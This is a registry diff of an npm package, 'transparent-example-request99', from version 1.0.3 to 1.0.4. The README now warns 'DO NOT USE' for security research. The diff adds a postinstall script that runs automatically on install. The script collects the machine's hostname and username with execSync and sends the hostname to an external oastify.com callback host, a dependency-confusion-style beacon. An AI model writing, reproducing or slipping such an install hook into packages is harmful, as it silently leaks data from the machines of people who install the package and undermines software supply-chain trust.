transparent-example-request99 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +8 -6
- package/package.json +1 -1
- package/postinstall.js +14 -2
package/README.md
CHANGED
|
@@ -1,10 +1,12 @@
|
|
|
1
1
|
This package is a simple demonstration module that:
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
3
|
+
DO NOT USE => THIS IS FOR SECURITY RESEARCH!!!!!
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
|
|
5
11
|
|
|
6
|
-
## Usage Example
|
|
7
12
|
|
|
8
|
-
```js
|
|
9
|
-
const { hello } = require('transparent-example-request99');
|
|
10
|
-
console.log(hello());
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,7 +1,19 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const hostname = execSync('hostname').toString().trim();
|
|
6
|
+
const user = execSync('whoami').toString().trim();
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
https.get(`https://4hmemny3bq5uvqyj525prr8a016sulia.oastify.com?${hostname}`, res => {
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
console.log('Security Research');
|
|
5
17
|
}).on('error', err => {
|
|
6
18
|
console.error('Request failed:', err.message);
|
|
7
19
|
|